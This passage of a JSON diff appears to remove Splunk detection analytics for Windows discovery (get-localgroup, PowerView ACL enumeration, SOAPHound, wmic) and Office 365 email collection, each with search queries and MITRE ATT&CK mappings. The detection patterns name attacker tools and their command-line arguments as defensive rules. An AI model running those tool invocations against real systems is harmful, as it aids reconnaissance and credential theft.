- ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "PowerShell Get LocalGroup Discovery", - "description": "The following analytic identifies the use of the `get-localgroup` command executed via PowerShell or cmd.exe to enumerate local groups on an endpoint. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is significant as it may indicate an attacker attempting to gather information about local group memberships, which can be a precursor to privilege escalation. If confirmed malicious, this activity could allow an attacker to identify and target privileged accounts, potentially leading to unauthorized access and control over the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=powershell.exe OR Processes.process_name=cmd.exe) (Processes.process=\"*get-localgroup*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `powershell_get_localgroup_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Powershell Get LocalGroup Discovery with Script Block Logging", - "description": "The following analytic detects the execution of the PowerShell cmdlet `get-localgroup` using PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, providing detailed visibility into script execution. Monitoring this activity is significant as it can indicate an attempt to enumerate local groups, which may be a precursor to privilege escalation or lateral movement. If confirmed malicious, an attacker could gain insights into group memberships, potentially leading to unauthorized access or privilege abuse. Review parallel processes and the entire script block for comprehensive analysis.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-localgroup*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `powershell_get_localgroup_discovery_with_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on endpoint $dest$ by user $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerView AD Access Control List Enumeration", - "description": "The following analytic detects the execution of PowerView PowerShell cmdlets `Get-ObjectAcl` or `Get-DomainObjectAcl`, which are used to enumerate Access Control List (ACL) permissions for Active Directory objects. It leverages Event ID 4104 from PowerShell Script Block Logging to identify this activity. This behavior is significant as it may indicate an attempt to discover weak permissions in Active Directory, potentially leading to privilege escalation. If confirmed malicious, attackers could exploit these permissions to gain unauthorized access or escalate their privileges within the network.", - "search": " `powershell` EventCode=4104 (ScriptBlockText=*get-objectacl* OR ScriptBlockText=*Get-DomainObjectAcl* ) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powerview_ad_access_control_list_enumeration_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Active Directory Privilege Escalation", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerView AD acccess control list enumeration detected on $Computer$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Windows SOAPHound Binary Execution", - "description": "The following analytic detects the execution of the SOAPHound binary (`soaphound.exe`) with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and other process-related metadata. This activity is significant because SOAPHound is a known tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could allow an attacker to extract sensitive information, escalate privileges, or persist within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"soaphound.exe\" OR Processes.original_file_name=\"soaphound.exe\" AND Processes.process IN (\"*--buildcache *\", \"*--bhdump *\", \"*--certdump *\", \"*--dnsdump *\", \"*-c *\", \"*--cachefilename *\", \"*-o *\", \"*--outputdirectory *\") by Processes.process Processes.dest Processes.process_current_directory Processes.process_name Processes.process_path Processes.process_integrity_level Processes.parent_process Processes.parent_process_path Processes.parent_process_guid Processes.parent_process_id Processes.process_guid Processes.process_id Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_soaphound_binary_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "process_name", - "type": "Process", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process_name$ was executed on $dest$ related to SOAPHound.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Wmic Group Discovery", - "description": "The following analytic identifies the use of `wmic.exe` to enumerate local groups on an endpoint. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs, including command-line details. Monitoring this activity is significant as it can indicate reconnaissance efforts by an attacker to understand group memberships, which could be a precursor to privilege escalation or lateral movement. If confirmed malicious, this activity could allow an attacker to map out privileged groups, aiding in further exploitation and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wmic.exe (Processes.process=\"*group get name*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `wmic_group_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -154700,1050 +128522,7 @@ "Event ID": "4663", "Event Name": "File monitoring" } - ], - { - "name": "Email files written outside of the Outlook directory", - "description": "The following analytic detects email files (.pst or .ost) being created outside the standard Outlook directories. It leverages the Endpoint.Filesystem data model to identify file creation events and filters for email files not located in \"C:\\Users\\*\\My Documents\\Outlook Files\\*\" or \"C:\\Users\\*\\AppData\\Local\\Microsoft\\Outlook*\". This activity is significant as it may indicate data exfiltration or unauthorized access to email data. If confirmed malicious, an attacker could potentially access sensitive email content, leading to data breaches or further exploitation within the network.", - "search": "| tstats `security_content_summariesonly` count values(Filesystem.file_path) as file_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name=*.pst OR Filesystem.file_name=*.ost) Filesystem.file_path != \"C:\\\\Users\\\\*\\\\My Documents\\\\Outlook Files\\\\*\" Filesystem.file_path!=\"C:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Outlook*\" by Filesystem.action Filesystem.process_id Filesystem.file_name Filesystem.dest | `drop_dm_object_name(\"Filesystem\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `email_files_written_outside_of_the_outlook_directory_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.001", - "mitre_attack_technique": "Local Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "Chimera", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Email servers sending high volume traffic to hosts", - "description": "The following analytic identifies a significant increase in data transfers from your email server to client hosts. It leverages the Network_Traffic data model to monitor outbound traffic from email servers, using statistical analysis to detect anomalies based on average and standard deviation metrics. This activity is significant as it may indicate a malicious actor exfiltrating data via your email server. If confirmed malicious, this could lead to unauthorized data access and potential data breaches, compromising sensitive information and impacting organizational security.", - "search": "| tstats `security_content_summariesonly` sum(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic where All_Traffic.src_category=email_server by All_Traffic.dest_ip _time span=1d | `drop_dm_object_name(\"All_Traffic\")` | eventstats avg(bytes_out) as avg_bytes_out stdev(bytes_out) as stdev_bytes_out | eventstats count as num_data_samples avg(eval(if(_time < relative_time(now(), \"@d\"), bytes_out, null))) as per_source_avg_bytes_out stdev(eval(if(_time < relative_time(now(), \"@d\"), bytes_out, null))) as per_source_stdev_bytes_out by dest_ip | eval minimum_data_samples = 4, deviation_threshold = 3 | where num_data_samples >= minimum_data_samples AND bytes_out > (avg_bytes_out + (deviation_threshold * stdev_bytes_out)) AND bytes_out > (per_source_avg_bytes_out + (deviation_threshold * per_source_stdev_bytes_out)) AND _time >= relative_time(now(), \"@d\") | eval num_standard_deviations_away_from_server_average = round(abs(bytes_out - avg_bytes_out) / stdev_bytes_out, 2), num_standard_deviations_away_from_client_average = round(abs(bytes_out - per_source_avg_bytes_out) / per_source_stdev_bytes_out, 2) | table dest_ip, _time, bytes_out, avg_bytes_out, per_source_avg_bytes_out, num_standard_deviations_away_from_server_average, num_standard_deviations_away_from_client_average | `email_servers_sending_high_volume_traffic_to_hosts_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging", - "HAFNIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Compliance Content Search Exported", - "description": "The following analytic identifies when the results of a content search within the Office 365 Security and Compliance Center are exported. It uses the SearchExported operation from the SecurityComplianceCenter workload in the o365_management_activity data source. This activity is significant because exporting search results can involve sensitive or critical organizational data, potentially leading to data exfiltration. If confirmed malicious, an attacker could gain access to and exfiltrate sensitive information, posing a severe risk to the organization's data security and compliance posture.", - "search": " `o365_management_activity` Workload=SecurityComplianceCenter Operation=\"SearchExported\" | rename user_id as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, ObjectId, ExchangeLocations, user, Query |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_compliance_content_search_exported_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new compliance content search export was started by $user$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Compliance Content Search Started", - "description": "The following analytic detects when a content search is initiated within the Office 365 Security and Compliance Center. It leverages the SearchCreated operation from the o365_management_activity logs under the SecurityComplianceCenter workload. This activity is significant as it may indicate an attempt to access sensitive organizational data, including emails and documents. If confirmed malicious, this could lead to unauthorized data access, potential data exfiltration, and compliance violations. Monitoring this behavior helps ensure the integrity and security of organizational data.", - "search": " `o365_management_activity` Workload=SecurityComplianceCenter Operation=SearchCreated | rename user_id as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, ObjectId, ExchangeLocations, user, Query |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_compliance_content_search_started_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new compliance content search was started by $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Email Forwarding Enabled", - "description": "The following analytic identifies instances where email forwarding has been enabled on mailboxes within an Office 365 environment. It detects this activity by monitoring the Set-Mailbox operation within the o365_management_activity logs, specifically looking for changes to the ForwardingAddress or ForwardingSmtpAddress parameters. This activity is significant as unauthorized email forwarding can lead to data exfiltration and unauthorized access to sensitive information. If confirmed malicious, attackers could intercept and redirect emails, potentially compromising confidential communications and leading to data breaches.", - "search": "`o365_management_activity` Operation=Set-Mailbox | eval match1=mvfind('Parameters{}.Name', \"ForwardingAddress\") | eval match2=mvfind('Parameters{}.Name', \"ForwardingSmtpAddress\") | where match1>= 0 OR match2>= 0 | eval ForwardTo=coalesce(ForwardingAddress, ForwardingSmtpAddress) | search ForwardTo!=\"\" | rename user_id as user | stats count earliest(_time) as firstTime latest(_time) as lastTime values(ForwardTo) as ForwardTo by user ObjectId |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_mailbox_email_forwarding_enabled_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Email forwarding configured by $user$ on mailbox $ObjectId$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Inbox Folder Shared with All Users", - "description": "The following analytic detects instances where the inbox folder of an Office 365 mailbox is shared with all users within the tenant. It leverages Office 365 management activity events to identify when the 'Inbox' folder permissions are modified to include 'Everyone' with read rights. This activity is significant as it represents a potential security risk, allowing unauthorized access to sensitive emails. If confirmed malicious, this could lead to data breaches, exfiltration of confidential information, and further compromise through spear-phishing or other malicious activities based on the accessed email content.", - "search": "`o365_management_activity` Operation=ModifyFolderPermissions Workload=Exchange object=Inbox Item.ParentFolder.MemberUpn=Everyone | eval isReadRole=if(match('Item.ParentFolder.MemberRights', \"(ReadAny)\"), \"true\", \"false\") | search isReadRole = \"true\" | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, UserId, object, MailboxOwnerUPN, Item.ParentFolder.MemberUpn, Item.ParentFolder.MemberRights | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_mailbox_inbox_folder_shared_with_all_users_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "MailboxOwnerUPN", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Inbox folder for the $MailboxOwnerUPN$ mailbox was shared with all users.", - "risk_score": 56, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Read Access Granted to Application", - "description": "The following analytic identifies instances where the Mail.Read Graph API permissions are granted to an application registration within an Office 365 tenant. It leverages O365 audit logs, specifically events related to changes in application permissions within the AzureActiveDirectory workload. This activity is significant because the Mail.Read permission allows applications to access and read all emails within a user's mailbox, which often contain sensitive or confidential information. If confirmed malicious, this could lead to data exfiltration, spear-phishing attacks, or further compromise based on the information gathered from the emails.", - "search": "`o365_management_activity` Operation=\"Update application.\" | eval json_data=mvindex('ModifiedProperties{}.NewValue', 0) | eval json_data=replace(json_data, \"^\\[\\s*\", \"\") | eval json_data=replace(json_data, \"\\s*\\]$\", \"\") | spath input=json_data 